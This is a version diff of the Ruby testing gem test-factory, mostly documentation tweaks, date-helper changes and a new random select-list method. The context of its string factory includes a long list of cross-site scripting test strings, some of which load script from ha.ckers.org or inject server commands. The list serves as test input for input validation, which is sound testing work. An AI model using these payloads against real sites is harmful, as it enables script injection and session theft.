test-factory 0.2.0 → 0.2.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- data/README.md +3 -2
- data/lib/test-factory/core_ext.rb +4 -0
- data/lib/test-factory/data_factory.rb +45 -14
- data/lib/test-factory/date_factory.rb +23 -17
- data/lib/test-factory/foundry.rb +5 -0
- data/lib/test-factory/gem_ext.rb +43 -1
- data/lib/test-factory/page_factory.rb +10 -0
- data/lib/test-factory/string_factory.rb +11 -0
- data/test-factory.gemspec +1 -1
- metadata +2 -3
- data/test-factory-0.1.11.gem +0 -0
data/README.md
CHANGED
@@ -60,11 +60,11 @@ class BasePage < PageFactory
|
|
60
60
|
def header_elements
|
61
61
|
element(:main_menu_link) { |b| b.link(title: "Main Menu") }
|
62
62
|
element(:logout) { |b| b.button(value: "Logout") }
|
63
|
-
element(:
|
63
|
+
element(:administration_link) { |b| b.link(title: "Administration") }
|
64
64
|
|
65
65
|
action(:main_menu) { |p| p.main_menu_link.click }
|
66
66
|
action(:provide_feedback) { |b| b.link(title: "Provide Feedback").click }
|
67
|
-
action(:administration) { |p| p.
|
67
|
+
action(:administration) { |p| p.administration_link.click }
|
68
68
|
end
|
69
69
|
end
|
70
70
|
end
|
@@ -233,6 +233,7 @@ end
|
|
233
233
|
CRUD methods in the data object.
|
234
234
|
* See the gem_ext.rb file's discussion of the Watir `#fit` method for additional
|
235
235
|
design pattern rules to follow.
|
236
|
+
* Please make an effort to follow the [Ruby Style Guidelines](http://www.caliban.org/ruby/rubyguide.shtml#style).
|
236
237
|
|
237
238
|
Notice
|
238
239
|
------
|
@@ -36,6 +36,7 @@ class Time
|
|
36
36
|
# Wed Apr 21 00:45:59 EDT 2004,
|
37
37
|
# Wed Apr 21 01:02:47 EDT 2004,
|
38
38
|
# Wed Apr 21 01:31:00 EDT 2004]
|
39
|
+
#
|
39
40
|
def self.random(params={})
|
40
41
|
years_back = params[:year_range] || 5
|
41
42
|
year = (rand * (years_back)).ceil + (Time.now.year - years_back)
|
@@ -57,16 +58,19 @@ module Enumerable
|
|
57
58
|
|
58
59
|
# Use for getting a natural sort order instead of the ASCII
|
59
60
|
# sort order.
|
61
|
+
#
|
60
62
|
def alphabetize
|
61
63
|
sort { |a, b| grouped_compare(a, b) }
|
62
64
|
end
|
63
65
|
|
64
66
|
# Use for sorting an Enumerable object in place.
|
67
|
+
#
|
65
68
|
def alphabetize!
|
66
69
|
sort! { |a, b| grouped_compare(a, b) }
|
67
70
|
end
|
68
71
|
|
69
72
|
private
|
73
|
+
|
70
74
|
def grouped_compare(a, b)
|
71
75
|
loop {
|
72
76
|
a_chunk, a = extract_alpha_or_number_group(a)
|
@@ -4,6 +4,7 @@ module DataFactory
|
|
4
4
|
# Add this to the bottom of your Data Object's initialize method.
|
5
5
|
# Converts the contents of the hash into the class's instance variables.
|
6
6
|
# @param hash [Hash] Contains all options required for creating the needed Data Object
|
7
|
+
#
|
7
8
|
def set_options(hash)
|
8
9
|
hash.each do |key, value|
|
9
10
|
instance_variable_set("@#{key}", value)
|
@@ -12,8 +13,7 @@ module DataFactory
|
|
12
13
|
alias update_options set_options
|
13
14
|
|
14
15
|
# Items passed to this method are checked to ensure that the associated class instance variable
|
15
|
-
# is not nil. If it is, the script is aborted and an error is thrown
|
16
|
-
# the Data Object requires before the script can run.
|
16
|
+
# is not nil. If it is, the script is aborted and an error is thrown.
|
17
17
|
# @param elements [Array] the list of items that are required.
|
18
18
|
#
|
19
19
|
# @example
|
@@ -32,23 +32,51 @@ module DataFactory
|
|
32
32
|
# be passed directly as methods for updating or validating the checkbox later.
|
33
33
|
#
|
34
34
|
# @param checkbox [Watir::CheckBox] The checkbox on the page that you want to inspect
|
35
|
+
#
|
35
36
|
def checkbox_setting(checkbox)
|
36
37
|
checkbox.set? ? :set : :clear
|
37
38
|
end
|
38
39
|
alias radio_setting checkbox_setting
|
39
40
|
|
40
|
-
#
|
41
|
-
#
|
42
|
-
#
|
43
|
-
#
|
44
|
-
#
|
45
|
-
# a
|
46
|
-
#
|
41
|
+
# This is a specialized method for use with any select list boxes
|
42
|
+
# that exist in the site you're testing and will contain
|
43
|
+
# unpredictable default values.
|
44
|
+
#
|
45
|
+
# Admittedly, this is a bit unusual, but one example would be
|
46
|
+
# be a "due date" list that changes its default selection based
|
47
|
+
# on today's date. You're going to want to do one of two things
|
48
|
+
# with that select list:
|
49
|
+
#
|
50
|
+
# 1) Retrieve and store the select list's value
|
51
|
+
# 2) Specify a custom value to select
|
52
|
+
#
|
53
|
+
# Enter: #get_or_select!
|
54
|
+
#
|
55
|
+
# Assuming you just want to store the default value, then your
|
56
|
+
# Data Object's instance variable for the field will--initially--be
|
57
|
+
# nil. In that case, #get_or_select! will grab the select list's
|
58
|
+
# current value and store it in your instance variable.
|
59
|
+
#
|
60
|
+
# On the other hand, if you want to update that field with your
|
61
|
+
# custom value, then your instance variable will not be nil, so
|
62
|
+
# #get_or_select! will take that value and use it to update the
|
63
|
+
# select list.
|
64
|
+
#
|
65
|
+
# Note that this method *only* works with select lists that take
|
66
|
+
# a single selection. Multi-selects are not supported.
|
67
|
+
#
|
68
|
+
# Also note that the first parameter is *not* the instance variable
|
69
|
+
# you need to use/update. It is a *symbol* that otherwise matches
|
70
|
+
# the instance variable.
|
71
|
+
#
|
72
|
+
# @param inst_var_sym [Symbol] A Symbol that _must_ match the instance variable that
|
73
|
+
# will either be set or be used to update the page
|
47
74
|
# @param select_list [Watir::Select] The relevant select list element on the page
|
48
75
|
#
|
49
76
|
# @example
|
50
77
|
#
|
51
78
|
# get_or_select! :@num_resubmissions, page.num_resubmissions
|
79
|
+
#
|
52
80
|
def get_or_select!(inst_var_sym, select_list)
|
53
81
|
value = instance_variable_get inst_var_sym
|
54
82
|
if value==nil
|
@@ -60,17 +88,20 @@ module DataFactory
|
|
60
88
|
|
61
89
|
# This method accomplishes the same thing as #get_or_select! but
|
62
90
|
# is used specifically when the instance variable being used/updated
|
63
|
-
# is a Hash
|
64
|
-
#
|
91
|
+
# is a Hash and you only need to update one of its key/value pairs.
|
92
|
+
#
|
93
|
+
# Pay close attention to the syntax differences between
|
94
|
+
# this method and #get_or_select!
|
65
95
|
#
|
66
|
-
# First, note that the returned value of this method must be
|
67
|
-
# passed to the relevant key in the Hash. Note also that unlike
|
68
|
-
# #get_or_select!, this method does not take a
|
96
|
+
# First, note that the returned value of this method must be explicitly
|
97
|
+
# passed to the relevant key in the Hash instance variable. Note also that, unlike
|
98
|
+
# #get_or_select!, this method does *not* take a symbolized representation
|
69
99
|
# of the instance variable.
|
70
100
|
#
|
71
101
|
# @example
|
72
102
|
#
|
73
103
|
# @open[:day] = get_or_select(@open[:day], page.open_day)
|
104
|
+
#
|
74
105
|
def get_or_select(hash_inst_var, select_list)
|
75
106
|
if hash_inst_var==nil
|
76
107
|
select_list.selected_options[0].text
|
@@ -7,25 +7,28 @@ module DateFactory
|
|
7
7
|
# various parts of the relevant date.
|
8
8
|
# @param time_object [Time] the moment you want to convert
|
9
9
|
# @returns [Hash] a hash object containing various parts of the date/time you passed to the method
|
10
|
+
#
|
10
11
|
def date_factory(time_object)
|
11
12
|
{
|
12
|
-
:
|
13
|
-
:
|
14
|
-
:
|
15
|
-
:
|
16
|
-
:
|
17
|
-
:
|
18
|
-
:
|
19
|
-
:
|
20
|
-
:
|
21
|
-
:
|
22
|
-
:
|
23
|
-
:
|
24
|
-
:
|
25
|
-
:
|
26
|
-
:
|
27
|
-
:
|
28
|
-
:
|
13
|
+
sakai: make_date(time_object),
|
14
|
+
sakai_rounded: make_date(time_object).gsub!(/:\d+/, ":#{Time.at(time_object.to_i/(5*60)*(5*60)).strftime("%M")}"), # Date with time rounded to nearest 5-minute mark.
|
15
|
+
short_date: time_object.strftime("%b %-d, %Y"), # => "Oct 18, 2013"
|
16
|
+
samigo: time_object.strftime("%m/%d/%Y %I:%M:%S %p"), # => "10/30/2012 07:02:05 AM"
|
17
|
+
MON: time_object.strftime("%^b"), # => "DEC"
|
18
|
+
Mon: time_object.strftime("%b"), # => "Jan"
|
19
|
+
Month: time_object.strftime("%B"), # => "February"
|
20
|
+
month_int: time_object.month, # => 3
|
21
|
+
day_of_month: time_object.day, # => 17 Note this is not zero-padded
|
22
|
+
weekday: time_object.strftime("%A"), # => "Monday"
|
23
|
+
wkdy: time_object.strftime("%a"), # => "Tue"
|
24
|
+
year: time_object.year, # => 2013
|
25
|
+
hour: time_object.strftime("%I").to_i, # => "07" Zero-padded, 12-hour clock
|
26
|
+
minute: time_object.strftime("%M"), # => "02" Zero-padded
|
27
|
+
minute_rounded: (Time.at(time_object.to_i/(5*60)*(5*60))).strftime("%M"), # => "05" Zero-padded, rounded to 5-minute increments
|
28
|
+
meridian: time_object.strftime("%P"), # => "pm"
|
29
|
+
MERIDIAN: time_object.strftime("%p"), # => "AM"
|
30
|
+
date_w_slashes: time_object.strftime("%m/%d/%Y"), # => 02/08/2013
|
31
|
+
custom: time_object # => Allows creation of a custom date string using the passed time value.
|
29
32
|
}
|
30
33
|
end
|
31
34
|
|
@@ -71,6 +74,7 @@ module DateFactory
|
|
71
74
|
# the count of minutes as the parameter, and
|
72
75
|
# returns the date_factory hash for the
|
73
76
|
# resulting Time value.
|
77
|
+
#
|
74
78
|
def minutes_ago(mins)
|
75
79
|
date_factory(Time.now - mins*60)
|
76
80
|
end
|
@@ -82,6 +86,7 @@ module DateFactory
|
|
82
86
|
# Returns the current month as an
|
83
87
|
# upper-case 3-letter string.
|
84
88
|
# example: "JUL"
|
89
|
+
#
|
85
90
|
def current_month
|
86
91
|
Time.now.strftime("%^b")
|
87
92
|
end
|
@@ -126,6 +131,7 @@ module DateFactory
|
|
126
131
|
#
|
127
132
|
# @param time_object [Time] the moment that you want converted to the string
|
128
133
|
# @returns [String] a date formatted to look like this: Jun 8, 2012 12:02 pm
|
134
|
+
#
|
129
135
|
def make_date(time_object)
|
130
136
|
month = time_object.strftime("%b ")
|
131
137
|
day = time_object.strftime("%-d")
|
data/lib/test-factory/foundry.rb
CHANGED
@@ -6,6 +6,7 @@ module Foundry
|
|
6
6
|
# code that you specify.
|
7
7
|
# @param page_class [Class] the name of the page class that you want to instantiate
|
8
8
|
# @param &block [C] this is the block of code that you want to run while on the given page
|
9
|
+
#
|
9
10
|
def visit page_class, &block
|
10
11
|
on page_class, true, &block
|
11
12
|
end
|
@@ -15,6 +16,7 @@ module Foundry
|
|
15
16
|
# @param page_class [Class] the name of the page class that you want to instantiate
|
16
17
|
# @param visit [TrueClass, FalseClass] Essentially you will never have to specify this explicitly
|
17
18
|
# @param &block [C] this is the block of code that you want to run while on the given page
|
19
|
+
#
|
18
20
|
def on page_class, visit=false, &block
|
19
21
|
@current_page = page_class.new @browser, visit
|
20
22
|
block.call @current_page if block
|
@@ -26,6 +28,7 @@ module Foundry
|
|
26
28
|
#
|
27
29
|
# @param data_object_class [Class] The name of the class you want to use to build a data object for testing
|
28
30
|
# @param opts [Hash] The list of attributes you want to give to your data object
|
31
|
+
#
|
29
32
|
def make data_object_class, opts={}
|
30
33
|
data_object_class.new @browser, opts
|
31
34
|
end
|
@@ -35,6 +38,7 @@ module Foundry
|
|
35
38
|
# combining the make with the create. Of course, this
|
36
39
|
# requires that your data object classes properly follow the design
|
37
40
|
# pattern and have a #create method available.
|
41
|
+
#
|
38
42
|
def create data_object_class, opts={}
|
39
43
|
data_object = make data_object_class, opts
|
40
44
|
data_object.create
|
@@ -50,6 +54,7 @@ module Foundry
|
|
50
54
|
#
|
51
55
|
# @example
|
52
56
|
# page.wait_until { |b| b.processing_message=="Done" }
|
57
|
+
#
|
53
58
|
def wait_until(timeout=30, message=nil, &block)
|
54
59
|
Object::Watir::Wait.until(timeout, message, &block)
|
55
60
|
end
|
data/lib/test-factory/gem_ext.rb
CHANGED
@@ -62,7 +62,10 @@
|
|
62
62
|
# # ...
|
63
63
|
# end
|
64
64
|
#
|
65
|
-
#
|
65
|
+
# That's just nasty! Your Page Class has two element definitions that are nearly identical.
|
66
|
+
# And the nested conditional in the Data Object's #edit method hurts the eyes!
|
67
|
+
#
|
68
|
+
# Now, let's take that same code, but this time use the +#fit+ method. We'll assume that
|
66
69
|
# the data object's +@option+ instance variable will be +:set+, +:clear+, or +nil+, and
|
67
70
|
# end the +#edit+ with the DataFactory's +#set_options+ helper method...
|
68
71
|
#
|
@@ -87,6 +90,8 @@
|
|
87
90
|
# # ...
|
88
91
|
# end
|
89
92
|
#
|
93
|
+
# Much cleaner!
|
94
|
+
#
|
90
95
|
# If you absolutely _must_ have your data object's instance variable be something
|
91
96
|
# other than +:set+ or +:clear+, then consider writing a private transform method
|
92
97
|
# in your data object class, like this:
|
@@ -106,6 +111,7 @@ module Watir
|
|
106
111
|
# Use when the argument you are passing to a text field
|
107
112
|
# may be nil, in which case you don't
|
108
113
|
# want to do anything with the page element.
|
114
|
+
#
|
109
115
|
def fit(args)
|
110
116
|
unless args==nil
|
111
117
|
assert_exists
|
@@ -118,13 +124,49 @@ module Watir
|
|
118
124
|
end
|
119
125
|
|
120
126
|
class Select
|
127
|
+
|
121
128
|
# Extends Watir's methods.
|
122
129
|
# Use when the argument you are passing to a text field
|
123
130
|
# may be nil, in which case you don't
|
124
131
|
# want to do anything with the page element.
|
132
|
+
# @example
|
133
|
+
# page.select_list.fit @my_selection
|
134
|
+
#
|
125
135
|
def fit(str_or_rx)
|
126
136
|
select_by :text, str_or_rx unless str_or_rx==nil
|
127
137
|
end
|
138
|
+
|
139
|
+
# Allows you to select an item from a selection list
|
140
|
+
# at random. It returns the selected item so that
|
141
|
+
# the data object's class instance variable will
|
142
|
+
# have the correct value.
|
143
|
+
#
|
144
|
+
# In other words, proper use of this method involves
|
145
|
+
# setting the associated class instance variable
|
146
|
+
# with it, like so...
|
147
|
+
# @example
|
148
|
+
# @my_selection=page.select_list.pick @my_selection
|
149
|
+
#
|
150
|
+
def pick(item)
|
151
|
+
if item==:random
|
152
|
+
select_at_random
|
153
|
+
else
|
154
|
+
fit item
|
155
|
+
item
|
156
|
+
end
|
157
|
+
end
|
158
|
+
|
159
|
+
private
|
160
|
+
|
161
|
+
def select_at_random
|
162
|
+
text_array = []
|
163
|
+
options.each { |opt| text_array << opt.text }
|
164
|
+
text_array.delete_if { |text| text=="select" }
|
165
|
+
text_array.shuffle!
|
166
|
+
select text_array[0]
|
167
|
+
text_array[0]
|
168
|
+
end
|
169
|
+
|
128
170
|
end
|
129
171
|
|
130
172
|
end
|
@@ -1,10 +1,12 @@
|
|
1
1
|
# The PageFactory class provides a set of methods that allow the rapid creation of page element definitions--known
|
2
2
|
# colloquially as "page objects". These elements are defined using Watir syntax. Please see www.watir.com if you are
|
3
3
|
# not familiar with Watir.
|
4
|
+
#
|
4
5
|
class PageFactory
|
5
6
|
|
6
7
|
# As the PageFactory will be the superclass for all your page classes, having this initialize
|
7
8
|
# method here means it's only written once.
|
9
|
+
#
|
8
10
|
def initialize browser, visit = false
|
9
11
|
@browser = browser
|
10
12
|
goto if visit
|
@@ -15,6 +17,7 @@ class PageFactory
|
|
15
17
|
# Catches any "missing" methods and passes them to the browser object--which means
|
16
18
|
# that Watir will take care of parsing them, so the assumption is that the method being
|
17
19
|
# passed is a valid method for the browser object.
|
20
|
+
#
|
18
21
|
def method_missing sym, *args, &block
|
19
22
|
@browser.send sym, *args, &block
|
20
23
|
end
|
@@ -23,6 +26,7 @@ class PageFactory
|
|
23
26
|
|
24
27
|
# Define this in a page class and when you use the "visit" method to instantiate the class
|
25
28
|
# it will enter the URL in the browser's address bar.
|
29
|
+
#
|
26
30
|
def page_url url
|
27
31
|
define_method 'goto' do
|
28
32
|
@browser.goto url
|
@@ -32,6 +36,7 @@ class PageFactory
|
|
32
36
|
# Define this in a page class and when that class is instantiated it will wait until that
|
33
37
|
# element appears on the page before continuing with the script.
|
34
38
|
# @param element_name [Symbol] The method name of the element that must be present on the page
|
39
|
+
#
|
35
40
|
def expected_element element_name, timeout=30
|
36
41
|
define_method 'expected_element' do
|
37
42
|
self.send(element_name).wait_until_present timeout
|
@@ -42,6 +47,7 @@ class PageFactory
|
|
42
47
|
# the browser's title matches the expected title. If there isn't a match, it raises an
|
43
48
|
# error and halts the script.
|
44
49
|
# @param expected_title [String] The exact text that is expected to appear in the Browser title when the page loads
|
50
|
+
#
|
45
51
|
def expected_title expected_title
|
46
52
|
define_method 'has_expected_title?' do
|
47
53
|
has_expected_title = expected_title.kind_of?(Regexp) ? expected_title =~ @browser.title : expected_title == @browser.title
|
@@ -56,6 +62,7 @@ class PageFactory
|
|
56
62
|
# @example
|
57
63
|
# element(:title) { |b| b.text_field(:id=>"title-id") }
|
58
64
|
# value(:page_header) { |b| b.h3(:class=>"page_header").text }
|
65
|
+
#
|
59
66
|
def element element_name
|
60
67
|
raise "#{element_name} is being defined twice in #{self}!" if self.instance_methods.include?(element_name.to_sym)
|
61
68
|
define_method element_name.to_s do
|
@@ -88,6 +95,7 @@ class PageFactory
|
|
88
95
|
#
|
89
96
|
# @example
|
90
97
|
# link("Click Me For Fun!") => Creates the methods #click_me_for_fun and #click_me_for_fun_link
|
98
|
+
#
|
91
99
|
def link(link_text)
|
92
100
|
element(damballa(link_text+"_link")) { |b| b.link(:text=>link_text) }
|
93
101
|
action(damballa(link_text)) { |b| b.link(:text=>link_text).click }
|
@@ -105,6 +113,7 @@ class PageFactory
|
|
105
113
|
#
|
106
114
|
# @example
|
107
115
|
# button("Click Me For Fun!") => Creates the methods #click_me_for_fun and #click_me_for_fun_button
|
116
|
+
#
|
108
117
|
def button(button_text)
|
109
118
|
element(damballa(button_text+"_button")) { |b| b.button(:value=>button_text) }
|
110
119
|
action(damballa(button_text)) { |b| b.button(:value=>button_text).click }
|
@@ -112,6 +121,7 @@ class PageFactory
|
|
112
121
|
|
113
122
|
# A helper method that converts the passed string into snake case. See the StringFactory
|
114
123
|
# module for more info.
|
124
|
+
#
|
115
125
|
def damballa(text)
|
116
126
|
StringFactory::damballa(text)
|
117
127
|
end
|
@@ -7,6 +7,7 @@ module StringFactory
|
|
7
7
|
# from 33 to 128. Default length is 10 characters.
|
8
8
|
# @param length [Integer] The count of characters in the string
|
9
9
|
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
10
|
+
#
|
10
11
|
def random_string(length=10, s="")
|
11
12
|
length.enum_for(:times).inject(s) do |result, index|
|
12
13
|
s << rand(93) + 33
|
@@ -17,6 +18,7 @@ module StringFactory
|
|
17
18
|
# from 33 to 256. Default length is 10 characters.
|
18
19
|
# @param length [Integer] The count of characters in the string
|
19
20
|
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
21
|
+
#
|
20
22
|
def random_high_ascii(length=10, s="")
|
21
23
|
length.enum_for(:times).inject(s) do |result, index|
|
22
24
|
s << rand(223) + 33
|
@@ -26,6 +28,7 @@ module StringFactory
|
|
26
28
|
# A "friendlier" random string generator. No characters need to be escaped for valid URLs.
|
27
29
|
# Uses no Reserved or "Unsafe" characters.
|
28
30
|
# Also excludes the comma, the @ sign and the plus sign. Default length is 10 characters.
|
31
|
+
#
|
29
32
|
def random_nicelink(length=10)
|
30
33
|
chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 _ - .}
|
31
34
|
(0...length).map { chars[rand(chars.size)]}.join
|
@@ -34,6 +37,7 @@ module StringFactory
|
|
34
37
|
# Returns a string that is properly formatted like an email address.
|
35
38
|
# The string returned defaults to 268 characters long.
|
36
39
|
# @param x [Integer] This is not the length of the whole string, but only of the "name" portion of the email, minus 2.
|
40
|
+
#
|
37
41
|
def random_email(x=62)
|
38
42
|
x > 62 ? x=62 : x=x
|
39
43
|
chars = %w{a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ! # $ % & ' * + - / = ? ^ _ ` { | } ~}
|
@@ -44,6 +48,7 @@ module StringFactory
|
|
44
48
|
# available on an American Qwerty keyboard.
|
45
49
|
# @param length [Integer] The count of characters in the string
|
46
50
|
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
51
|
+
#
|
47
52
|
def random_alphanums_plus(length=10, s="")
|
48
53
|
chars = %w{ a b c d e f g h j k m n p q r s t u v w x y z A B C D E F G H J K L M N P Q R S T U V W X Y Z 0 1 2 3 4 5 6 7 8 9 ` ~ ! @ # $ % ^ & * ( ) _ + - = { } [ ] \\ : " ; ' < > ? , . / }
|
49
54
|
length.times { s << chars[rand(chars.size)] }
|
@@ -53,6 +58,7 @@ module StringFactory
|
|
53
58
|
# A random string generator that uses only letters and numbers in the string. Default length is 10 characters.
|
54
59
|
# @param length [Integer] The count of characters in the string
|
55
60
|
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
61
|
+
#
|
56
62
|
def random_alphanums(length=10, s="")
|
57
63
|
chars = 'abcdefghjkmnpqrstuvwxyzABCDEFGHJKLMNPQRSTUVWXYZ0123456789'
|
58
64
|
length.times { s << chars[rand(chars.size)] }
|
@@ -62,6 +68,7 @@ module StringFactory
|
|
62
68
|
# A random string generator that uses only lower case letters.
|
63
69
|
# @param length [Integer] The count of characters in the string
|
64
70
|
# @param s [String] Typically this will be left blank, but if included, any string created will be prepended with s. Note that the string length will still be as specified
|
71
|
+
#
|
65
72
|
def random_letters(length=10, s="")
|
66
73
|
chars = 'abcdefghjkmnpqrstuvwxyz'
|
67
74
|
length.times { s << chars[rand(chars.size)] }
|
@@ -81,6 +88,7 @@ module StringFactory
|
|
81
88
|
# :string => uses the #random_string method, so chars 33 through 128 will be included
|
82
89
|
# :ascii => All ASCII chars from 33 to 256 are fair game -> uses #random_high_ascii
|
83
90
|
# :lorem => Will generate a pseudo-lorem-ipsum block of text using the LATIN_VOCABULARY constant as the source
|
91
|
+
#
|
84
92
|
def random_multiline(word_count=2, line_count=2, char_type=:alpha)
|
85
93
|
char_methods = {:alpha=>"random_alphanums(rand(16)+1)", :string=>"random_string(rand(16)+1)", :ascii=>"random_high_ascii(rand(16)+1)", :lorem=>"LATIN_VOCABULARY[rand(LATIN_VOCABULARY.length)]"}
|
86
94
|
if line_count > word_count
|
@@ -106,6 +114,7 @@ module StringFactory
|
|
106
114
|
# The strings are organized by length, with the shorter ones
|
107
115
|
# first. There are 102 strings.
|
108
116
|
# @param number [Integer] Should be a number between 1 and 102
|
117
|
+
#
|
109
118
|
def random_xss_string(number=102)
|
110
119
|
number > 102 ? number = 102 : number
|
111
120
|
xss = ["<PLAINTEXT>", "\\\";alert('XSS');//", "'';!--\"<XSS>=&{()}", "<IMG SRC=\"mocha:alert('XSS')\">", "<BODY ONLOAD=alert('XSS')>", "<BODY ONLOAD =alert('XSS')>", "<BR SIZE=\"&{alert('XSS')}\">", "¼script¾alert(¢XSS¢)¼/script¾", "<IMG SRC=\"livescript:alert('XSS')\">", "<SCRIPT SRC=//ha.ckers.org/.j>", "<IMG SRC=javascript:alert('XSS')>", "<IMG SRC=JaVaScRiPt:alert('XSS')>", "<<SCRIPT>alert(\"XSS\");//<</SCRIPT>", "<IMG SRC=\"javascript:alert('XSS')\"", "<IMG SRC='vbscript:msgbox(\"XSS\")'>", "<A HREF=\"http://1113982867/\">XSS</A>", "<IMG SRC=\"javascript:alert('XSS');\">", "<IMG SRC=\"jav\tascript:alert('XSS');\">", "<XSS STYLE=\"behavior: url(xss.htc);\">", "</TITLE><SCRIPT>alert(\"XSS\");</SCRIPT>", "<IMG DYNSRC=\"javascript:alert('XSS')\">", "<A HREF=\"http://66.102.7.147/\">XSS</A>", "<IMG LOWSRC=\"javascript:alert('XSS')\">", "<BGSOUND SRC=\"javascript:alert('XSS');\">", "<BASE HREF=\"javascript:alert('XSS');//\">", "<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\">", "<SCRIPT>a=/XSS/ alert(a.source)</SCRIPT>", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<IMG SRC=\"jav
ascript:alert('XSS');\">", "<XSS STYLE=\"xss:expression(alert('XSS'))\">", "<IMG SRC=\"jav	ascript:alert('XSS');\">", "<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>", "<IMG SRC=\"  javascript:alert('XSS');\">", "<IMG SRC=javascript:alert("XSS")>", "<BODY BACKGROUND=\"javascript:alert('XSS')\">", "<TABLE BACKGROUND=\"javascript:alert('XSS')\">", "<DIV STYLE=\"width: expression(alert('XSS'));\">", "<TABLE><TD BACKGROUND=\"javascript:alert('XSS')\">", "<iframe src=http://ha.ckers.org/scriptlet.html <", "<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>", "<IFRAME SRC=\"javascript:alert('XSS');\"></IFRAME>", "<A HREF=\"http://0x42.0x0000066.0x7.0x93/\">XSS</A>", "<IMG STYLE=\"xss:expr/*XSS*/ession(alert('XSS'))\">", "<A HREF=\"http://0102.0146.0007.00000223/\">XSS</A>", "<IMG SRC=`javascript:alert(\"RSnake says, 'XSS'\")`>", "<SCRIPT/SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT SRC=\"http://ha.ckers.org/xss.jpg\"></SCRIPT>", "<STYLE TYPE=\"text/javascript\">alert('XSS');</STYLE>", "<BODY onload!\#$%&()*~+-_.,:;?@[/|\\]^`=alert(\"XSS\")>", "<INPUT TYPE=\"IMAGE\" SRC=\"javascript:alert('XSS');\">", "<STYLE>@im\\port'\\ja\\vasc\\ript:alert(\"XSS\")';</STYLE>", "<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>", "<SCRIPT/XSS SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<? echo('<SCR)'; echo('IPT>alert(\"XSS\")</SCRIPT>'); ?>", "<SCRIPT =\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"javascript:alert('XSS');\">", "<SCRIPT a=`>` SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LAYER SRC=\"http://ha.ckers.org/scriptlet.html\"></LAYER>", "<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>", "<SCRIPT \"a='>'\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<LINK REL=\"stylesheet\" HREF=\"http://ha.ckers.org/xss.css\">", "<SCRIPT a=\">'>\" SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<SCRIPT a=\">\" '' SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<FRAMESET><FRAME SRC=\"javascript:alert('XSS');\"></FRAMESET>", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "perl -e 'print \"<SCR\\0IPT>alert(\\\"XSS\\\")</SCR\\0IPT>\";' > out", "<IMG SRC = \" j a v a s c r i p t : a l e r t ( ' X S S ' ) \" >", "Redirect 302 /a.jpg http://www.rsmart.com/admin.asp&deleteuser", "perl -e 'print \"<IMG SRC=java\\0script:alert(\\\"XSS\\\")>\";' > out", "<!--[if gte IE 4]> <SCRIPT>alert('XSS');</SCRIPT> <![endif]-->", "<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">", "<A HREF=\"http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D\">XSS</A>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=javascript:alert('XSS');\">", "a=\"get\"; b=\"URL(\\\"\"; c=\"javascript:\"; d=\"alert('XSS');\\\")\"; eval(a+b+c+d);", "<STYLE>BODY{-moz-binding:url(\"http://ha.ckers.org/xssmoz.xml#xss\")}</STYLE>", "<EMBED SRC=\"http://ha.ckers.org/xss.swf\" AllowScriptAccess=\"always\"></EMBED>", "<STYLE type=\"text/css\">BODY{background:url(\"javascript:alert('XSS')\")}</STYLE>", "<STYLE>li {list-style-image: url(\"javascript:alert('XSS')\");}</STYLE><UL><LI>XSS", "<META HTTP-EQUIV=\"Link\" Content=\"<http://ha.ckers.org/xss.css>; REL=stylesheet\">", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0; URL=http://;URL=javascript:alert('XSS');\">", "<OBJECT TYPE=\"text/x-scriptlet\" DATA=\"http://ha.ckers.org/scriptlet.html\"></OBJECT>", "<SCRIPT>document.write(\"<SCRI\");</SCRIPT>PT SRC=\"http://ha.ckers.org/xss.js\"></SCRIPT>", "<STYLE>.XSS{background-image:url(\"javascript:alert('XSS')\");}</STYLE><A CLASS=XSS></A>", "<XML SRC=\"xsstest.xml\" ID=I></XML> <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>", "<META HTTP-EQUIV=\"Set-Cookie\" Content=\"USERID=<SCRIPT>alert('XSS')</SCRIPT>\">", "exp/*<A STYLE='no\\xss:noxss(\"*//*\"); xss:ex/*XSS*//*/*/pression(alert(\"XSS\"))'>", "<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K\">", "<!--#exec cmd=\"/bin/echo '<SCR'\"--><!--#exec cmd=\"/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'\"-->", "<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>", "<HTML xmlns:xss> <?import namespace=\"xss\" implementation=\"http://ha.ckers.org/xss.htc\"> <xss:xss>XSS</xss:xss> </HTML>", 